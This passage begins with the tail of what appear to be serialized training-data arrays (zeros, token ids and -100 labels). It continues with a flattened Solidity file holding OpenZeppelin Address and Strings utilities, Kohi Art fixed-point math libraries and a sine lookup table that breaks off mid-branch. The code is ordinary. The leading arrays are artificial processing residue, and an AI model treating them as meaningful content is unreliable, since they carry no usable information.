0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
9354,
87,
18,
4789,
3238,
389,
2972,
4568,
548,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Sources flattened with hardhat v2.6.8 https://hardhat.org
// SPDX-License-Identifier: UNLICENSED
//
/*
&@@@@@@@@@@@ @@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@% @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@
/@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& #@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@
@@@@@@@@@@@ (@@@@@@@@@@@@@@@@@@ %@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@
@@@@@@@@@@@* .@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@
@@@@@@@@@@@ @@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ @@@@@@@@@@@
@@@@@@@@@@@& ,@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ @@@@@@@@@@@
@@@@@@@@@@@@ /@@@@@@@@@@@@@@@@@@/ @@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@
@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@
(@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@
@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
(@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@ #@@@@@,
@@@@@@@@@@@ @@@@@@@@@@@@@@@
@@@@@@@@@@. @@@@@@@@@@@ @@@@@@@@@@@@@@@@,
@@@@@@@@@@@@@@@@ @@@@@@@@@@@ &@@@@@@@@@@@
&@@@@@@@@@@@@@@@@@# @@@@@@@@@@@ @@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@(
@@@@@@@@@@@@@@@@@&
@@@@@@@@@@@@@@(
@@@@@@@@@@@
.@@@@@#
*/
// File @openzeppelin/contracts/utils/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/[email protected]
// License: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File contracts/V1/MathV1.sol
// License: UNLICENSED
/* Copyright (c) 2021 Kohi Art Community, Inc. All rights reserved. */
pragma solidity ^0.8.0;
library MathV1 {
function max(int256 a, int256 b) internal pure returns (int256) {
return a >= b ? a : b;
}
function min(int256 a, int256 b) internal pure returns (int256) {
return a < b ? a : b;
}
function max3(
int256 a,
int256 b,
int256 c
) internal pure returns (int256) {
int256 d = b >= c ? b : c;
return a >= d ? a : d;
}
function min3(
int256 a,
int256 b,
int256 c
) internal pure returns (int256) {
int256 d = b < c ? b : c;
return a < d ? a : d;
}
function abs(int256 x) internal pure returns (int256) {
return x >= 0 ? x : -x;
}
function sign(int256 x) internal pure returns (int8) {
return x == 0 ? int8(0) : x > 0 ? int8(1) : int8(-1);
}
}
// File contracts/V1/Fix64V1.sol
// License: UNLICENSED
/* Copyright (c) 2021 Kohi Art Community, Inc. All rights reserved. */
pragma solidity ^0.8.0;
/*
Provides mathematical operations and representation in Q31.Q32 format.
exp: Adapted from Petteri Aimonen's libfixmath
See: https://github.com/PetteriAimonen/libfixmath
https://github.com/PetteriAimonen/libfixmath/blob/master/LICENSE
other functions: Adapted from André Slupik's FixedMath.NET
https://github.com/asik/FixedMath.Net/blob/master/LICENSE.txt
THIRD PARTY NOTICES:
====================
libfixmath is Copyright (c) 2011-2021 Flatmush <[email protected]>,
Petteri Aimonen <[email protected]>, & libfixmath AUTHORS
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Copyright 2012 André Slupik
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
This project uses code from the log2fix library, which is under the following license:
The MIT License (MIT)
Copyright (c) 2015 Dan Moulding
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN THE SOFTWARE.
*/
library Fix64V1 {
int64 public constant FRACTIONAL_PLACES = 32;
int64 public constant ONE = 4294967296; // 1 << FRACTIONAL_PLACES
int64 public constant TWO = ONE * 2;
int64 public constant PI = 0x3243F6A88;
int64 public constant TWO_PI = 0x6487ED511;
int64 public constant MAX_VALUE = type(int64).max;
int64 public constant MIN_VALUE = type(int64).min;
int64 public constant PI_OVER_2 = 0x1921FB544;
function countLeadingZeros(uint64 x) internal pure returns (int64) {
int64 result = 0;
while ((x & 0xF000000000000000) == 0) {
result += 4;
x <<= 4;
}
while ((x & 0x8000000000000000) == 0) {
result += 1;
x <<= 1;
}
return result;
}
function div(int64 x, int64 y)
internal
pure
returns (int64)
{
if (y == 0) {
revert("attempted to divide by zero");
}
int64 xl = x;
int64 yl = y;
uint64 remainder = uint64(xl >= 0 ? xl : -xl);
uint64 divider = uint64((yl >= 0 ? yl : -yl));
uint64 quotient = 0;
int64 bitPos = 64 / 2 + 1;
while ((divider & 0xF) == 0 && bitPos >= 4) {
divider >>= 4;
bitPos -= 4;
}
while (remainder != 0 && bitPos >= 0) {
int64 shift = countLeadingZeros(remainder);
if (shift > bitPos) {
shift = bitPos;
}
remainder <<= uint64(shift);
bitPos -= shift;
uint64 d = remainder / divider;
remainder = remainder % divider;
quotient += d << uint64(bitPos);
if ((d & ~(uint64(0xFFFFFFFFFFFFFFFF) >> uint64(bitPos)) != 0)) {
return
((xl ^ yl) & MIN_VALUE) == 0
? MAX_VALUE
: MIN_VALUE;
}
remainder <<= 1;
--bitPos;
}
++quotient;
int64 result = int64(quotient >> 1);
if (((xl ^ yl) & MIN_VALUE) != 0) {
result = -result;
}
return int64(result);
}
function mul(int64 x, int64 y)
internal
pure
returns (int64)
{
int64 xl = x;
int64 yl = y;
uint64 xlo = (uint64)((xl & (int64)(0x00000000FFFFFFFF)));
int64 xhi = xl >> 32; // FRACTIONAL_PLACES
uint64 ylo = (uint64)(yl & (int64)(0x00000000FFFFFFFF));
int64 yhi = yl >> 32; // FRACTIONAL_PLACES
uint64 lolo = xlo * ylo;
int64 lohi = int64(xlo) * yhi;
int64 hilo = xhi * int64(ylo);
int64 hihi = xhi * yhi;
uint64 loResult = lolo >> 32; // FRACTIONAL_PLACES
int64 midResult1 = lohi;
int64 midResult2 = hilo;
int64 hiResult = hihi << 32; // FRACTIONAL_PLACES
int64 sum = int64(loResult) + midResult1 + midResult2 + hiResult;
return int64(sum);
}
function mul_256(int x, int y)
internal
pure
returns (int)
{
int xl = x;
int yl = y;
uint xlo = uint((xl & int(0x00000000FFFFFFFF)));
int xhi = xl >> 32; // FRACTIONAL_PLACES
uint ylo = uint(yl & int(0x00000000FFFFFFFF));
int yhi = yl >> 32; // FRACTIONAL_PLACES
uint lolo = xlo * ylo;
int lohi = int(xlo) * yhi;
int hilo = xhi * int(ylo);
int hihi = xhi * yhi;
uint loResult = lolo >> 32; // FRACTIONAL_PLACES
int midResult1 = lohi;
int midResult2 = hilo;
int hiResult = hihi << 32; // FRACTIONAL_PLACES
int sum = int(loResult) + midResult1 + midResult2 + hiResult;
return sum;
}
function floor(int x) internal pure returns (int64) {
return int64(x & 0xFFFFFFFF00000000);
}
function round(int x) internal pure returns (int) {
int fractionalPart = x & 0x00000000FFFFFFFF;
int integralPart = floor(x);
if (fractionalPart < 0x80000000) return integralPart;
if (fractionalPart > 0x80000000) return integralPart + ONE;
if ((integralPart & ONE) == 0) return integralPart;
return integralPart + ONE;
}
function sub(int64 x, int64 y)
internal
pure
returns (int64)
{
int64 xl = x;
int64 yl = y;
int64 diff = xl - yl;
if (((xl ^ yl) & (xl ^ diff) & MIN_VALUE) != 0) diff = xl < 0 ? MIN_VALUE : MAX_VALUE;
return diff;
}
function add(int64 x, int64 y)
internal
pure
returns (int64)
{
int64 xl = x;
int64 yl = y;
int64 sum = xl + yl;
if ((~(xl ^ yl) & (xl ^ sum) & MIN_VALUE) != 0) sum = xl > 0 ? MAX_VALUE : MIN_VALUE;
return sum;
}
function sign(int64 x) internal pure returns (int8) {
return x == int8(0) ? int8(0) : x > int8(0) ? int8(1) : int8(-1);
}
function abs(int64 x) internal pure returns (int64) {
int64 mask = x >> 63;
return (x + mask) ^ mask;
}
}
// File contracts/V1/SinLut256.sol
// License: UNLICENSED
/* Copyright (c) 2021 Kohi Art Community Inc. All rights reserved. */
pragma solidity ^0.8.0;
library SinLut256 {
/**
* @notice Lookup tables for computing the sine value for a given angle.
* @param i The clamped and rounded angle integral to index into the table.
* @return The sine value in fixed-point (Q31.32) space.
*/
function sinlut(int256 i) external pure returns (int64) {
if (i <= 127) {
if (i <= 63) {
if (i <= 31) {
if (i <= 15) {
if (i <= 7) {
if (i <= 3) {
if (i <= 1) {
if (i == 0) {
return 0;
} else {
return 26456769;
}
} else {
if (i == 2) {
return 52912534;
} else {
return 79366292;
}
}
} else {
if (i <= 5) {
if (i == 4) {
return 105817038;
} else {
return 132263769;
}
} else {
if (i == 6) {
return 158705481;
} else {
return 185141171;
}
}
}
} else {
if (i <= 11) {
if (i <= 9) {
if (i == 8) {
return 211569835;
} else {
return 237990472;
}
} else {
if (i == 10) {
return 264402078;
} else {
return 290803651;
}
}
} else {
if (i <= 13) {
if (i == 12) {
return 317194190;
} else {
return 343572692;
}
} else {
if (i == 14) {
return 369938158;
} else {
return 396289586;
}
}
}
}
} else {
if (i <= 23) {
if (i <= 19) {
if (i <= 17) {
if (i == 16) {
return 422625977;
} else {
return 448946331;
}
} else {
if (i == 18) {
return 475249649;
} else {
return 501534935;
}
}
} else {
if (i <= 21) {
if (i == 20) {
return 527801189;
} else {
return 554047416;
}
} else {
if (i == 22) {
return 580272619;
} else {
return 606475804;
}
}
}
} else {
if (i <= 27) {
if (i <= 25) {
if (i == 24) {
return 632655975;
} else {
return 658812141;
}
} else {
if (i == 26) {
return 684943307;
} else {
return 711048483;
}
}
} else {
if (i <= 29) {
if (i == 28) {
return 737126679;
} else {
return 763176903;
}
} else {
if (i == 30) {
return 789198169;
} else {
return 815189489;
}
}
}
}
}
} else {
if (i <= 47) {
if (i <= 39) {
if (i <= 35) {
if (i <= 33) {
if (i == 32) {
return 841149875;
} else {
return 867078344;
}
} else {
if (i == 34) {
return 892973912;
} else {
return 918835595;
}
}
} else {
if (i <= 37) {
if (i == 36) {
return 944662413;
} else {
return 970453386;
}
} else {
if (i == 38) {
return 996207534;
} else {
return 1021923881;
}
}
}
} else {
if (i <= 43) {
if (i <= 41) {
if (i == 40) {
return 1047601450;
} else {
return 1073239268;
}
} else {
if (i == 42) {
return 1098836362;
} else {
return 1124391760;
}
}
} else {
if (i <= 45) {
if (i == 44) {
return 1149904493;
} else {
return 1175373592;
}
} else {
if (i == 46) {
return 1200798091;
} else {
return 1226177026;
}
}
}
}
} else {
if (i <= 55) {
if (i <= 51) {
if (i <= 49) {
if (i == 48) {
return 1251509433;
} else {
return 1276794351;
}
} else {
if (i == 50) {
return 1302030821;
} else {
return 1327217884;
}
}
} else {
if (i <= 53) {
if (i == 52) {
return 1352354586;
} else {
return 1377439973;
}
} else {
if (i == 54) {
return 1402473092;
} else {
return 1427452994;
}
}
}
} else {
if (i <= 59) {
if (i <= 57) {
if (i == 56) {
return 1452378731;
} else {
return 1477249357;
}
} else {
if (i == 58) {
return 1502063928;
} else {
return 1526821503;
}
}
} else {
if (i <= 61) {
if (i == 60) {
return 1551521142;
} else {
return 1576161908;
}
} else {
if (i == 62) {
return 1600742866;
} else {
return 1625263084;
}
}
}
}
}
}
} else {
if (i <= 95) {
if (i <= 79) {
if (i <= 71) {
if (i <= 67) {
if (i <= 65) {
if (i == 64) {
return 1649721630;
} else {
return 1674117578;
}
} else {
if (i == 66) {
return 1698450000;
} else {
return 1722717974;
}
}
} else {
if (i <= 69) {
if (i == 68) {
return 1746920580;
} else {
return 1771056897;
}
} else {
if (i == 70) {
return 1795126012;
} else {
return 1819127010;
}
}
}
} else {
if (i <= 75) {
if (i <= 73) {
if (i == 72) {
return 1843058980;
} else {
return 1866921015;
}
} else {
if (i == 74) {
return 1890712210;
} else {
return 1914431660;
}
}
} else {
if (i <= 77) {
if (i == 76) {
return 1938078467;
} else {
return 1961651733;
}
} else {
if (i == 78) {
return 1985150563;
} else {
return 2008574067;
}
}
}
}
} else {
if (i <= 87) {
if (i <= 83) {
if (i <= 81) {
if (i == 80) {
return 2031921354;
} else {
return 2055191540;
}
} else {
if (i == 82) {
return 2078383740;
} else {
return 2101497076;
}
}
} else {
if (i <= 85) {
if (i == 84) {
return 2124530670;
} else {
return 2147483647;
}
} else {
if (i == 86) {
return 2170355138;
} else {
return 2193144275;
}
}
}
} else {
if (i <= 91) {
if (i <= 89) {
if (i == 88) {
return 2215850191;
} else {
return 2238472027;
}
} else {
if (i == 90) {
return 2261008923;
} else {
return 2283460024;
}
}
} else {
if (i <= 93) {
if (i == 92) {
return 2305824479;
} else {
return 2328101438;
}
} else {
if (i == 94) {
return 2350290057;
} else {
return 2372389494;
}
}
}
}
}
} else {
if (i <= 111) {
if (i <= 103) {
if (i <= 99) {
if (i <= 97) {
if (i == 96) {
return 2394398909;
} else {
return 2416317469;
}
} else {
if (i == 98) {
return 2438144340;
} else {
return 2459878695;
}
}
} else {
if (i <= 101) {
if (i == 100) {
return 2481519710;
} else {
return 2503066562;
}
} else {
if (i == 102) {
return 2524518435;
} else {
return 2545874514;
}
}
}
} else {
if (i <= 107) {
if (i <= 105) {
if (i == 104) {
return 2567133990;
} else {
return 2588296054;
}
} else {
if (i == 106) {
return 2609359905;
} else {
return 2630324743;
}
}
} else {
if (i <= 109) {
if (i == 108) {
return 2651189772;
} else {
return 2671954202;
}
} else {
if (i == 110) {
return 2692617243;
} else {
return 2713178112;
}
}
}
}
} else {
if (i <= 119) {
if (i <= 115) {
if (i <= 113) {
if (i == 112) {
return 2733636028;
} else {
return 2753990216;
}
} else {
if (i == 114) {
return 2774239903;
} else {
return 2794384321;
}
}
} else {
if (i <= 117) {
if (i == 116) {
return 2814422705;
} else {
return 2834354295;
}
} else {
if (i == 118) {
return 2854178334;
} else {
return 2873894071;
}
}
}
} else {
if (i <= 123) {
if (i <= 121) {
if (i == 120) {
return 2893500756;
} else {
return 2912997648;
}
} else {
if (i == 122) {
return 2932384004;
} else {
return 2951659090;
}
}
} else {
if (i <= 125) {
if (i == 124) {
return 2970822175;
} else {
return 2989872531;
}
} else {
if (i == 126) {
return 3008809435;
} else {
return 3027632170;
}
}
}
}
}
}
}
} else {
if (i <= 191) {
if (i <= 159) {
if (i <= 143) {
if (i <= 135) {
if (i <= 131) {
if (i <= 129) {
if (i == 128) {
return 3046340019;
} else {
return 3064932275;
}
} else {
if (i == 130) {
return 3083408230;
} else {
return 3101767185;
}
}
} else {
if (i <= 133) {
if (i == 132) {
return 3120008443;
} else {
return 3138131310;
}
} else {
if (i == 134) {
return 3156135101;
} else {
return 3174019130;
}
}
}
} else {
if (i <= 139) {
if (i <= 137) {
if (i == 136) {
return 3191782721;
} else {
return 3209425199;
}
} else {
if (i == 138) {
return 3226945894;
} else {
return 3244344141;
}
}
} else {
if (i <= 141) {
if (i == 140) {
return 3261619281;
} else {
return 3278770658;
}
} else {
if (i == 142) {
return 3295797620;
} else {
return 3312699523;
}
}
}
}
} else {
if (i <= 151) {
if (i <= 147) {
if (i <= 145) {
if (i == 144) {
return 3329475725;
} else {
return 3346125588;
}
} else {
if (i == 146) {
return 3362648482;
} else {
return 3379043779;
}
}
} else {
if (i <= 149) {
if (i == 148) {
return 3395310857;
} else {
return 3411449099;
}
} else {
if (i == 150) {
return 3427457892;
} else {
return 3443336630;
}
}
}
} else {
if (i <= 155) {
if (i <= 153) {
if (i == 152) {
return 3459084709;
} else {
return 3474701532;
}
} else {
if (i == 154) {
return 3490186507;
} else {
return 3505539045;
}
}
} else {
if (i <= 157) {
if (i == 156) {
return 3520758565;
} else {
return 3535844488;
}
} else {
if (i == 158) {
return 3550796243;
} else {
return 3565613262;
}
}
}
}
}
} else {
if (i <= 175) {
if (i <= 167) {
if (i <= 163) {
if (i <= 161) {
if (i == 160) {
return 3580294982;
} else {
return 3594840847;
}
} else {
if (i == 162) {
return 3609250305;
} else {
return 3623522808;
}
}
} else {
if (i <= 165) {
if (i == 164) {
return 3637657816;
} else {
return 3651654792;
}
} else {
if (i == 166) {
return 3665513205;
} else {
return 3679232528;
}
}
}
} else {
if (i <= 171) {
if (i <= 169) {
if (i == 168) {
return 3692812243;
} else {
return 3706251832;
}
} else {
if (i == 170) {
return 3719550786;
} else {
return 3732708601;
}
}
} else {
if (i <= 173) {
if (i == 172) {
return 3745724777;
} else {
return 3758598821;
}
} else {
if (i == 174) {
return 3771330243;
} else {
return 3783918561;
}
}
}
}
} else {
if (i <= 183) {
if (i <= 179) {
if (i <= 177) {
if (i == 176) {
return 3796363297;
} else {
return 3808663979;
}
} else {
if (i == 178) {
return 3820820141;
} else {
return 3832831319;
}
}
} else {
if (i <= 181) {
if (i == 180) {
return 3844697060;
} else {
return 3856416913;
}
} else {
if (i == 182) {
return 3867990433;
} else {
return 3879417181;
}
}
}
} else {
if (i <= 187) {
if (i <= 185) {
if (i == 184) {
return 3890696723;
} else {
return 3901828632;
}
} else {
if (i == 186) {
return 3912812484;
} else {
return 3923647863;
}
}
} else {
if (i <= 189) {
if (i == 188) {
return 3934334359;
} else {
return 3944871565;
}
} else {
if (i == 190) {
return 3955259082;
} else {
return 3965496515;
}
}
}
}
}
}
} else {
if (i <= 223) {
if (i <= 207) {
if (i <= 199) {
if (i <= 195) {
if (i <= 193) {
if (i == 192) {
